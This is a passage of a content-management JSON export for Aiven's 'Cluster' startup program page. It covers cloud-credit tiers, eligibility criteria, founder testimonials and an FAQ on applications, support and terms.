accelerators)."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"fd24ec0cf7c1","_type":"internalLink","internalLink":{"_ref":"7135a6f1-a2b8-48c8-9093-46077a81b8bc","_type":"reference"}}],"style":"normal"},{"_key":"82db85d4b9c2","_type":"block","children":[{"_key":"02cc9c9758e9","_type":"span","marks":[],"text":"Have applied with a business email address for verification."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8eb2f0a25e30","_type":"block","children":[{"_key":"cf460f5aa6550","_type":"span","marks":[],"text":"Not sure if you meet all the criteria? Apply anyway—we’ll do our best to support you."}],"markDefs":[],"style":"normal"}],"title":" Everything you need to get things done","variant":"mediaRight"},{"_key":"4c9118140f7f","_type":"iconList","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"disabled":false,"fullWidth":false,"headerPosition":"default","iconSize":24,"icons":[{"_key":"a606ec6b91bd","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-e7196743bdb72ecfdfadc1e773ff78971bb14c15-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"78914c9df61d","_type":"block","children":[{"_key":"6393208704e60","_type":"span","marks":[],"text":"From $12,000 to up to $100,000 in credits to spend on Aiven services over a 12 month period. Credit amounts vary depending on qualification criteria."}],"markDefs":[],"style":"normal"}],"title":"Credits"},{"_key":"d1c47bb930cf","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-87a436c693e93f59b89f6b87039996d9b60869b1-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"f94d07cfaacf","_type":"block","children":[{"_key":"85cfe92a60f10","_type":"span","marks":[],"text":"Access knowledge and insight from your peers and from members of the Aiven team, or Crabs as we like to call them, through community channels, including the Cluster Slack, and "},{"_key":"c73580172242","_type":"span","marks":["a1dfcc1d1959"],"text":"Aiven Community Forums"},{"_key":"8f20e9928c64","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"a1dfcc1d1959","_type":"link","href":"https://aiven.io/community/forum/"}],"style":"normal"}],"title":"Knowledge"},{"_key":"d61f55acf7f6","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-0341b1c3696da7468cfbba301dd17929b0cdc72f-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"d51a8d3c8958","_type":"block","children":[{"_key":"90995a3c68620","_type":"span","marks":[],"text":"Raise awareness of your company and your products by featuring on the Aiven blog, social media channels, and by participating in Aiven events,"}],"markDefs":[],"style":"normal"}],"title":"Promotion"},{"_key":"ef62c5bf000e","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-0a79c1fce4fc66bc0e3e731b6cbac27ba80bfeb9-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"1f855b3db9ae","_type":"block","children":[{"_key":"f83ec4baa5040","_type":"span","marks":[],"text":"Access to Aiven's technical support service to ensure that you get the most from Aiven's service, and that you can meets needs of your customers as your business scales."}],"markDefs":[],"style":"normal"}],"title":"Support"},{"_key":"0c13b1f1a8c8","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-b6af9833e3bd195ed0ccf98437f17e92d8e470fb-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"82941b4db695","_type":"block","children":[{"_key":"d52f298988960","_type":"span","marks":[],"text":"Virtual events on relevant topics for early stage startups. Everything from data infrastructure, to product development, hiring and more."}],"markDefs":[],"style":"normal"}],"title":"Events"},{"_key":"99f49951039a","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-728af07e15f7eb0d5a2eb43ffe3ee8ef774a969c-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"8f207c22ade0","_type":"block","children":[{"_key":"48141a20cefe0","_type":"span","marks":[],"text":"The opportunity to focus on building your business – not your data infrastructure."}],"markDefs":[],"style":"normal"}],"title":"Freedom"}],"itemsPerRow":3,"primaryCTA":{"_type":"link","externalUrl":"https://form.typeform.com/to/BqNrcMLJ","title":"Apply now"},"roundedCorners":"rounded","subtitle":[{"_key":"287a21d15597","_type":"block","children":[{"_key":"8c9627e1e70a0","_type":"span","marks":[],"text":"Lay the foundation for a data strategy that evolves alongside your ambitions. Combine the insights from "},{"_key":"8c9627e1e70a1","_type":"span","marks":["29faa5146ab3"],"text":"our guide"},{"_key":"8c9627e1e70a2","_type":"span","marks":[],"text":" with the resources of the Aiven Cluster program to accelerate your growth and turn data into your competitive edge."}],"markDefs":[{"_key":"29faa5146ab3","_type":"link","href":"https://go.aiven.io/how-to-get-value-out-of-data"}],"style":"normal"}],"title":"Benefits for selected startups"},{"_key":"b065eb840ff140c245c5257c7e3061b5","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":true,"fullWidth":true,"items":[{"_key":"032a22a75e77","_type":"testimonialItem","content":[{"_key":"1990ee688068","_type":"block","children":[{"_key":"004cebaa46170","_type":"span","marks":[],"text":"“The credits we got by joining the Aiven Cluster program helped us to get started very quickly.”"}],"markDefs":[],"style":"normal"}],"jobTitle":"Staff Platform Engineer at Doccla","name":"Matthew Huxtable","ytId":"Ihm0jcx_CK4"}],"noSpaceBottom":false,"noSpaceTop":true,"rounded":false,"roundedCorners":"rounded-none","variant":"media"},{"_key":"356cfddcaa6c","_type":"iconList","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":true,"fullWidth":false,"headerPosition":"default","iconSize":24,"icons":[{"_key":"a6d7262e20fe","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-29107c2858e1703d824dae21515eaa4bfa75a216-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"e6864f0c8909","_type":"block","children":[{"_key":"9fbbc08fd94c","_type":"span","marks":[],"text":"Your startup needs to have been founded maximum 7 years ago to be eligible for Cluster."}],"markDefs":[],"style":"normal"}],"title":"Maximum 7 years old"},{"_key":"1abc95acc627","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c05eaf1c20a2726f4c976ed070dbbce0398110b3-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"e6609033e3cb","_type":"block","children":[{"_key":"4f36b3d0acf7","_type":"span","marks":[],"text":"Cluster ecosystem "},{"_key":"21cfd8bf981a","_type":"span","marks":["57722dc7944a"],"text":"partners"},{"_key":"43e009003416","_type":"span","marks":[],"text":" are VCs, incubators and accelerators. "}],"markDefs":[{"_key":"57722dc7944a","_type":"internalLink","internalLink":{"_ref":"7135a6f1-a2b8-48c8-9093-46077a81b8bc","_type":"reference"}}],"style":"normal"},{"_key":"9e6b613bbb2b","_type":"block","children":[{"_key":"1807d2553bc7","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"title":"Affiliation with a Cluster partner"},{"_key":"56327090e50a","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-728af07e15f7eb0d5a2eb43ffe3ee8ef774a969c-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"63cd3ce5f7ea","_type":"block","children":[{"_key":"191667c4aadd","_type":"span","marks":[],"text":"Help us verify that your business it legit by applying to Cluster with your company email."}],"markDefs":[],"style":"normal"}],"title":"Business email address"}],"itemsPerRow":3,"noSpaceBottom":true,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://form.typeform.com/to/BqNrcMLJ","title":"Apply now"},"roundedCorners":"rounded-none","subtitle":[{"_key":"68181bf7ed5b","_type":"block","children":[{"_key":"7d6f05763e25","_type":"span","marks":[],"text":"We back early stage startups with a high potential for growth through the Cluster program. If you don't fit all criteria listed below, don't worry. We encourage you to apply anyway and we'll do our best to support you."}],"markDefs":[],"style":"normal"}],"title":"Eligibility Criteria"},{"_key":"1977c9b5e03c","_type":"logoList","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"disabled":true,"fullWidth":false,"grayscale":false,"hideItemLink":false,"logos":[{"_key":"b736dd22cf64","_ref":"N2Q6YKuTV0lR0jY55d6OH","_type":"reference"},{"_key":"36f07fec336c","_ref":"1K7aVATqg7aFqES2ev7Nif","_type":"reference"},{"_key":"d049c9020aac","_ref":"1NDEQe1KkqOH6gFaab75vN","_type":"reference"},{"_key":"1a19d8afb454","_ref":"5p1t6uquWp3dWG9MhRypkW","_type":"reference"},{"_key":"7081eeb089b0","_ref":"518mUeL7pURWpXWvdbDcJE","_type":"reference"},{"_key":"da4558f26240","_ref":"76JUNbn63dw1QEpqkh3eSE","_type":"reference"},{"_key":"7e91e5ef1ae0","_ref":"6cbYBJfAGrn9QJdTemPOK2","_type":"reference"}],"primaryCTA":{"_type":"link","internalLink":{"_ref":"7135a6f1-a2b8-48c8-9093-46077a81b8bc","_type":"reference"},"title":"View all partners"},"roundedCorners":"rounded-tl-br","showLogoCaption":false,"title":"Cluster Partner Network","variant":"logo"},{"_key":"864498486e044c7a4dd1108e04b1c093","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"a8d709ce-37bd-41f2-99fd-a5108a266e5c","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-t","title":"What Cluster startups say about Aiven","variant":"centerColumn"},{"_key":"1dec71d8149e","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"a8d709ce-37bd-41f2-99fd-a5108a266e5c","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","ctaLink":{"_type":"link","externalUrl":"https://form.typeform.com/to/BqNrcMLJ","title":"Apply now"},"disabled":false,"fullWidth":true,"isCarousel":false,"isHideItemLink":true,"items":[{"_key":"e3ebce6c9436","_type":"testimonialItem","content":[{"_key":"fcf4a6af25ab","_type":"block","children":[{"_key":"28eee4c252be0","_type":"span","marks":[],"text":"Infrastructure is the most ignored piece in running a startup. Everything else is very front-facing - you can measure it, see it in action, but the infrastructure is always behind the scenes. So, as long as it's working, people are happy, but when issues arise, it's hard to identify and resolve them."}],"markDefs":[],"style":"normal"},{"_key":"160cbb5c62c7","_type":"block","children":[{"_key":"3e2e1d2431360","_type":"span","marks":[],"text":"I think that's a problem that Aiven solves brilliantly."}],"markDefs":[],"style":"normal"},{"_key":"e5d9b0609495","_type":"block","children":[{"_key":"2d7cc0d7cd400","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","externalUrl":"https://www.revenuehero.io/","title":"Visit RevenueHero"},"image":{"_type":"mainImage","alt":"Hariharan Ramkumar profile photo","asset":{"_ref":"image-e5e95244810e86477e8960da83f2dfca345d83b6-512x512-png","_type":"reference"}},"jobTitle":"Co-Founder at RevenueHero","name":"Hariharan Ramkumar"},{"_key":"9b3c96579017","_type":"testimonialItem","content":[{"_key":"eb39915a0e4e","_type":"block","children":[{"_key":"b29a6cb2ae820","_type":"span","marks":[],"text":"Aiven has been a great partner, providing "},{"_key":"b29a6cb2ae821","_type":"span","marks":["strong"],"text":"performant scalable vector and hybrid search"},{"_key":"b29a6cb2ae822","_type":"span","marks":[],"text":" powered by OpenSearch. Best of all, our customers can "},{"_key":"b29a6cb2ae823","_type":"span","marks":["strong"],"text":"select any cloud or region"},{"_key":"b29a6cb2ae824","_type":"span","marks":[],"text":" based on their requirements for their data."}],"markDefs":[],"style":"normal"},{"_key":"0b0e133e140a","_type":"block","children":[{"_key":"0d082673a2150","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","externalUrl":"https://www.workorb.ai/","title":"Visit WorkOrb"},"image":{"_type":"mainImage","alt":"Nilesh Bansal profile photo","asset":{"_ref":"image-9066789342282ac382e4432ea1566c108db09648-200x200-jpg","_type":"reference"}},"jobTitle":"Founder of workOrb","name":"Nilesh B."},{"_key":"dfe7167321fe","_type":"testimonialItem","content":[{"_key":"3fd94af68c01","_type":"block","children":[{"_key":"81a32523513e0","_type":"span","marks":[],"text":"Joining the Aiven Cluster program gives you room to explore different technologies without committing yourself to any plans or buying it right away. The sponsorship is really helpful to understand what building pieces we can use, and experiment with them before we build them into our final product."}],"markDefs":[],"style":"normal"},{"_key":"db0b66e89434","_type":"block","children":[{"_key":"7c65de3ed9f20","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","externalUrl":"https://www.4screen.com/","title":"Visit 4 Screen"},"image":{"_type":"mainImage","asset":{"_ref":"image-e3322220d3f40885f42d29c423005afd16f9e5e2-500x500-png","_type":"reference"}},"jobTitle":"Senior Software Engineer at 4 Screen","name":"Paul Rogalinski-Pinter"}],"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-none","topOverlap":true,"variant":"people"},{"_key":"be89e40a9209fa29a4ccc3a1170e6b6b","_type":"accordion","backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"disabled":true,"fullWidth":false,"isFaqAccordion":true,"items":[{"_key":"80160998087d","_type":"accordionItem","panelText":[{"_key":"ebcc480e1bba","_type":"block","children":[{"_key":"0ee30ce3e8560","_type":"span","marks":["strong"],"text":"Why did Aiven launch the Cluster startup program?"}],"markDefs":[],"style":"h5"},{"_key":"8cb2c4eaacfc","_type":"block","children":[{"_key":"cd3870c5838a","_type":"span","marks":[],"text":"Startup programs were critical to our early development and success, and their support helped us grow into the "},{"_key":"22034714ffa3","_type":"span","marks":["b202921ba490"],"text":"Unicorn"},{"_key":"cc8488ca7ee4","_type":"span","marks":[],"text":" we are today. As Aiven has now reached a maturity level where we are in a position to give back, we want to support other startups in their journey, helping them to scale up and grow."}],"markDefs":[{"_key":"b202921ba490","_type":"internalLink","internalLink":{"_ref":"5rQCh0etMiAbkYM5ZZfaf2","_type":"reference"}}],"style":"normal"},{"_key":"78f0584ed5e6","_type":"block","children":[{"_key":"c76e42ebd013","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"a03a92ac959c","_type":"block","children":[{"_key":"ad65f8a5f3e50","_type":"span","marks":["strong"],"text":"What does Aiven do?"}],"markDefs":[],"style":"h5"},{"_key":"8a9ca87899a7","_type":"block","children":[{"_key":"fcbb7ce983e1","_type":"span","marks":[],"text":"In short, Aiven makes setting up cloud databases and the infrastructure needed for them to operate so simple that anyone can do it."}],"markDefs":[],"style":"normal"},{"_key":"a79ba9795efe","_type":"block","children":[{"_key":"de49a0409790","_type":"span","marks":[],"text":"We provide a selection of reliable, open source products – tools like Apache Kafka, PostgreSQL, MySQL, Apache Flink, ClickHouse, OpenSearch, and more – that you can install at the click of a button."}],"markDefs":[],"style":"normal"},{"_key":"2ee5b2043e44","_type":"block","children":[{"_key":"7dbd9f765fb6","_type":"span","marks":[],"text":"Our platform allows developers and software architects to set up their databases and get familiar tools on all major cloud platforms (like Google, AWS or Azure) in a matter of minutes. It’s simple, secure, and everything is open source, so you keep control of all your data. You can move it between cloud regions and providers, duplicate it, and do whatever you want with it – and you don’t have to jump through hoops to do it."}],"markDefs":[],"style":"normal"},{"_key":"430b30e417c4","_type":"block","children":[{"_key":"3f3437e3bee9","_type":"span","marks":[],"text":"But while we make it simple to set up your data, it’s what you do with it next that’s where the awesome happens."}],"markDefs":[],"style":"normal"}],"title":"About Aiven \u0026 the Cluster startup program"},{"_key":"a2827132abed","_type":"accordionItem","panelText":[{"_key":"2681004c07d5","_type":"block","children":[{"_key":"6fe62fcbfb220","_type":"span","marks":["strong"],"text":"What are the eligibility criteria for startups?"}],"markDefs":[],"style":"h5"},{"_key":"6bde3a092fb9","_type":"block","children":[{"_key":"c9a00859e0f2","_type":"span","marks":[],"text":"To be eligible to apply to Aiven Cluster startup program, you need:"}],"markDefs":[],"style":"normal"},{"_key":"578f88e0ccf5","_type":"block","children":[{"_key":"4caf4b518e6d","_type":"span","marks":[],"text":"Proof of affiliation with an approved network partner (VC, accelerator, incubator, or co-working space)*"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"159760654eda","_type":"block","children":[{"_key":"35df373f10a0","_type":"span","marks":[],"text":"Maximum startup age: 7 years"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"7b7246c4e277","_type":"block","children":[{"_key":"d7bc019f6d58","_type":"span","marks":[],"text":"Startup funding no greater than Series B"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"448e1e2f89d6","_type":"block","children":[{"_key":"310bdbb4bfa5","_type":"span","marks":[],"text":"A company website and associated email address"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"12dd7587a7de","_type":"block","children":[{"_key":"c13d4f5e782f","_type":"span","marks":[],"text":"*If you are not affiliated with one of our partners, you can still apply and will qualify for maximum $12,000 in credits. We still require that you provide proof of having fundraised."}],"markDefs":[],"style":"normal"},{"_key":"0d8432013c4e","_type":"block","children":[{"_key":"e55be191a11f","_type":"span","marks":[],"text":"The Cluster startup program is only available to innovative technology companies and at the moment is not open to agencies, consulting companies, NGOs or educational institutions. "}],"markDefs":[],"style":"normal"},{"_key":"407595ae76bb","_type":"block","children":[{"_key":"05fdaef2d2bd","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"19382ac0bd9a","_type":"block","children":[{"_key":"b466a608584b","_type":"span","marks":["strong"],"text":"How many credits can I get?"}],"markDefs":[],"style":"h5"},{"_key":"2a19f1e2f86b","_type":"block","children":[{"_key":"44831da2e5c8","_type":"span","marks":[],"text":"The credit value depends on which partner you are affiliated with and can be as high as $100,000. If you are not affiliated with a Cluster partner, you can qualify for $12,000. Once you fill out the application form, we will let you know how many credits you are eligible for.\n"}],"markDefs":[],"style":"normal"},{"_key":"12b7a6d56486","_type":"block","children":[{"_key":"08776e19b5420","_type":"span","marks":["strong"],"text":"How can we participate if we don’t have investor backing?"}],"markDefs":[],"style":"h5"},{"_key":"31c2cbe65d97","_type":"block","children":[{"_key":"b6641749338d0","_type":"span","marks":[],"text":"If you haven't raised funding yet, you can still apply as long as you are affiliated with one of Cluster's accelerator, incubator or co-working space partners."}],"markDefs":[],"style":"normal"},{"_key":"7ccb7866d5d1","_type":"block","children":[{"_key":"bf96e1899ceb","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"734df09745af","_type":"block","children":[{"_key":"1a51a7b8e8d20","_type":"span","marks":["strong"],"text":"Can existing Aiven customers apply to the Cluster startup program?"}],"markDefs":[],"style":"h5"},{"_key":"f7353b70e42d","_type":"block","children":[{"_key":"26ace8bd1513","_type":"span","marks":[],"text":"Yes - as long as you meet the eligibility criteria."}],"markDefs":[],"style":"normal"},{"_key":"6f51513eb04c","_type":"block","children":[{"_key":"429205aec797","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"577e524ba115","_type":"block","children":[{"_key":"2afc047d762d0","_type":"span","marks":["strong"],"text":"What is the application process and timeline?"}],"markDefs":[],"style":"h5"},{"_key":"72e71ec427a1","_type":"block","children":[{"_key":"3973385e1a69","_type":"span","marks":[],"text":"Applications are accepted and considered continually, with new participants selected each month. Once you apply, please give us 14 days to review your application and, if needed, get back to you with any additional questions."}],"markDefs":[],"style":"normal"},{"_key":"0ac68bf666e5","_type":"block","children":[{"_key":"46ead206950d","_type":"span","marks":[],"text":"Newly accepted startups join the program on the first Monday of every month. Joint kick-off calls for new participants are held monthly."}],"markDefs":[],"style":"normal"},{"_key":"3a6c8c734474","_type":"block","children":[{"_key":"3c1b5eff6936","_type":"span","marks":[],"text":"Please note that Aiven reserves the right to change the schedule as necessary."}],"markDefs":[],"style":"normal"},{"_key":"55c5405d506f","_type":"block","children":[{"_key":"60bc014a4307","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"ac0de2dd49e3","_type":"block","children":[{"_key":"90e8d6bcb8b50","_type":"span","marks":["strong"],"text":"I am not associated with any of the Cluster program partners. Can I still apply?"}],"markDefs":[],"style":"h5"},{"_key":"56f5427e7147","_type":"block","children":[{"_key":"98d109d70402","_type":"span","marks":[],"text":"No problem. We’ve created a lower credit tier for startups not associated with our partners. You can still apply and if you meet the eligibility criteria, you will be able to join the program and receive $12,000 in credits."}],"markDefs":[],"style":"normal"},{"_key":"fbfa4e44ac4c","_type":"block","children":[{"_key":"3cf071361e6d","_type":"span","marks":[],"text":"Please note that you will need to have raised funding in order to qualify for the credits."}],"markDefs":[],"style":"normal"},{"_key":"d41df345538d","_type":"block","children":[{"_key":"4aa9ad8cc8010","_type":"span","marks":[],"text":"I want to join the program but I am not ready to use the credits right away. Should I still apply?"}],"markDefs":[],"style":"h5"},{"_key":"f19027669bb4","_type":"block","children":[{"_key":"8815186a4c97","_type":"span","marks":[],"text":"Yes, you should still apply and indicate in the application form that you would like to start using credits later on. We can then discuss the best starting date for you."}],"markDefs":[],"style":"normal"},{"_key":"1faf553cd5cd","_type":"block","children":[{"_key":"6e3b23d4d09d0","_type":"span","marks":[],"text":"Where can I find the full list of network partners affiliated with Aiven Cluster?"}],"markDefs":[],"style":"h5"},{"_key":"e1f1c47a6889","_type":"block","children":[{"_key":"3c64129c8b54","_type":"span","marks":[],"text":"Here is a "},{"_key":"177dbbdd8bb1","_type":"span","marks":["80d9c80ec5b6"],"text":"full list of partners"},{"_key":"4eba3361cecb","_type":"span","marks":[],"text":" associated with Aiven Cluster."}],"markDefs":[{"_key":"80d9c80ec5b6","_type":"internalLink","internalLink":{"_ref":"7135a6f1-a2b8-48c8-9093-46077a81b8bc","_type":"reference"}}],"style":"normal"}],"title":"Eligibility criteria, program application and credit tiers"},{"_key":"567da99ff303","_type":"accordionItem","panelText":[{"_key":"ea973abbc86e","_type":"block","children":[{"_key":"79ce975196860","_type":"span","marks":[],"text":"Seriously? Up to $100,000 credits? What can I do with that?"}],"markDefs":[],"style":"h5"},{"_key":"c37b079cb049","_type":"block","children":[{"_key":"557e3bd523f0","_type":"span","marks":[],"text":"Yes, seriously! You can use the startup program credits over 12 months to purchase the services, cloud data plans, and additional support that you need to build a modern modern data infrastructure."}],"markDefs":[],"style":"normal"},{"_key":"ee31cbf489d8","_type":"block","children":[{"_key":"7e9d39181771","_type":"span","marks":[],"text":"What you build with our services is entirely up to you."}],"markDefs":[],"style":"normal"},{"_key":"6ed69f089613","_type":"block","children":[{"_key":"cba1a01622f8","_type":"span","marks":[],"text":"With 100K of Aiven credits, you could run a beefy PostgreSQL instance with 2TB of storage and half a terabyte of RAM (business-512) for 6 months. Or, you could take a modest Kafka Business-8 package ... and run that with plenty of spare credits left over for something else."}],"markDefs":[],"style":"normal"},{"_key":"4275c4c1a89d","_type":"block","children":[{"_key":"c47e722ac428","_type":"span","marks":[],"text":"For a more complete package, how about a serious PostgreSQL business-64 service with workhorse OpenSearch business-32 service, a Redis business-64 for caching to keep your apps running nicely, an M3 for all your metrics (business-16 should do nicely) and Grafana to keep an eye on things - and you can run that for a year."}],"markDefs":[],"style":"normal"},{"_key":"5b4a1698ff43","_type":"block","children":[{"_key":"89bc775af945","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"30241b38d8c2","_type":"block","children":[{"_key":"2ab9a181292e0","_type":"span","marks":[],"text":"How does Aiven promote startups in the program?"}],"markDefs":[],"style":"h5"},{"_key":"f8f8e59e3c23","_type":"block","children":[{"_key":"d17bcabdb055","_type":"span","marks":[],"text":"We conduct interviews with the most active startups in the program and promote them through our channels, for example, Linkedin, Twitter, blog posts, etc. See an example "},{"_key":"6372f5c914fd","_type":"span","marks":["c72426d343f8"],"text":"here"},{"_key":"820b1580f315","_type":"span","marks":[],"text":". We also invite startups to speak at our meetups and events, and award notable achievements publicly. "}],"markDefs":[{"_key":"c72426d343f8","_type":"link","href":"https://aiven.io/blog/data-for-good"}],"style":"normal"},{"_key":"7b5c5b978001","_type":"block","children":[{"_key":"25124620189b","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"9093380e7e3d","_type":"block","children":[{"_key":"633df96af7870","_type":"span","marks":[],"text":"What technical support does Aiven offer \u0026 how do I access it?"}],"markDefs":[],"style":"h5"},{"_key":"cbec7b409523","_type":"block","children":[{"_key":"adcf230878e8","_type":"span","marks":[],"text":"Aiven operates 24/7/365 monitoring on the Cloud Services and Aiven's personnel will be automatically alerted on any service anomalies. Aiven's personnel will commence work on any issues in system operations requiring manual intervention without delay."}],"markDefs":[],"style":"normal"},{"_key":"2825946c1d6d","_type":"block","children":[{"_key":"fce9a8c68ae0","_type":"span","marks":[],"text":"For Cluster program participants, Aiven provides Basic level support without separate charge through email regarding problems related to using and accessing the Aiven Cloud Services. Responses are provided on a best-effort basis during the same or next business day."}],"markDefs":[],"style":"normal"},{"_key":"09fae2280f10","_type":"block","children":[{"_key":"cc2a763f4fb1","_type":"span","marks":[],"text":"You can read more about the support Aiven offers on https://aiven.io/support-services."}],"markDefs":[],"style":"normal"},{"_key":"c9a244d9277d","_type":"block","children":[{"_key":"5e6fb2e83cf0","_type":"span","marks":[],"text":"To access support, you will need to log a support ticket through the Aiven console. "}],"markDefs":[],"style":"normal"}],"title":"Program perks"},{"_key":"44d94881f694","_type":"accordionItem","panelText":[{"_key":"9da7a7c53eff","_type":"block","children":[{"_key":"e43437d901b90","_type":"span","marks":[],"text":"What are the terms and conditions of the Cluster startup program?"}],"markDefs":[],"style":"h5"},{"_key":"f1fa79078996","_type":"block","children":[{"_key":"d2b2095e97bd","_type":"span","marks":[],"text":"When an applicant submits the application form, the applicant must agree to acknowledge that the use of the Aiven services is subject to Aiven online T\u0026Cs which are to be accepted when signing in to the Aiven console, and that Aiven may always stop giving free credits or cancel any credits given."}],"markDefs":[],"style":"normal"},{"_key":"d3265afa7392","_type":"block","children":[{"_key":"db5a225a71a1","_type":"span","marks":[],"text":"The amount of credits awarded to successful applicants is up to $100,000 depending on the use of services."}],"markDefs":[],"style":"normal"},{"_key":"039d29a01973","_type":"block","children":[{"_key":"9a468d3578cd","_type":"span","marks":[],"text":"Aiven reserves the right to cancel credits in order to be able to react in the event participant would breach the online T\u0026Cs or would otherwise use the credits against the purpose of the Cluster program."}],"markDefs":[],"style":"normal"},{"_key":"96f94ec2d79e","_type":"block","children":[{"_key":"6805e3541101","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"54e610f1df18","_type":"block","children":[{"_key":"72c07c13a2750","_type":"span","marks":[],"text":"What happens if I don’t use all my credits within the year?"}],"markDefs":[],"style":"h5"},{"_key":"c84b7aa7af74","_type":"block","children":[{"_key":"55dd69e38b47","_type":"span","marks":[],"text":"Your credits are valid for 12 months, so if you haven’t used them by the end of the program, they will expire."}],"markDefs":[],"style":"normal"},{"_key":"36d138287ca1","_type":"block","children":[{"_key":"90ebda7a5060","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"321142cb010f","_type":"block","children":[{"_key":"8b79c965d0cd0","_type":"span","marks":[],"text":"Can I apply for credits more than once?"}],"markDefs":[],"style":"h5"},{"_key":"b4bfde5ef741","_type":"block","children":[{"_key":"766cdfe5a8d6","_type":"span","marks":[],"text":"No. You can only receive Cluster credits once."}],"markDefs":[],"style":"normal"},{"_key":"c7171f14ff35","_type":"block","children":[{"_key":"d242eb20d2430","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"d0ba74fc0a50","_type":"block","children":[{"_key":"44d8d4b7c632","_type":"span","marks":[],"text":"I started out on the lowest credit tier and I am now affiliated with one of the Cluster partners. Can I get more credits?"}],"markDefs":[],"style":"h5"},{"_key":"3d45578cf726","_type":"block","children":[{"_key":"2d1ce36e567d","_type":"span","marks":[],"text":"Yes, you can access the difference between the lowest tier and the amount you are eligible for through affiliation with our partner. We can’t extend the time frame when you can use the credits, but we can grant you the difference. Reach out to us at cluster@aiven.io to discuss the details."}],"markDefs":[],"style":"normal"},{"_key":"85169a8a9ce5","_type":"block","children":[{"_key":"e5edff44bbbc","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"56b9a2391894","_type":"block","children":[{"_key":"98586eaa24490","_type":"span","marks":[],"text":"Do I have to continue using Aiven after the Cluster program ends?"}],"markDefs":[],"style":"h5"},{"_key":"9fde0666c076","_type":"block","children":[{"_key":"3b9c6fc4e49e","_type":"span","marks":[],"text":"We don’t ask you to commit to using Aiven after you run out of credits. However, we think that you are going to like the product and and hope you'll stay with Aiven for the long run."}],"markDefs":[],"style":"normal"}],"title":"Terms and conditions"}],"noSpaceTop":true,"roundedCorners":"rounded","title":"Cluster FAQ "}],"internalTags":[{"_key":"11002199d6e3","_ref":"8dba8149-1dd0-4856-baf0-d8f852d7f6bd","_type":"tag"}],"isSimplifiedNav":true,"seo":{"_type":"metaData","metaDescription":"Cluster - the Aiven startup program - offers data infra support to up and coming startups so they can scale up and grow.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-f51de925a03b4b1b4b6726d141798eda2fe7cd7d-1200x628-jpg","_type":"reference"}},"metaTitle":"Aiven Cluster Startup Program | How to Get Value Out of Data"},"slug":{"_type":"slug","current":"/guide-for-startups"},"title":"Cluster Program - Guide for Startups"} 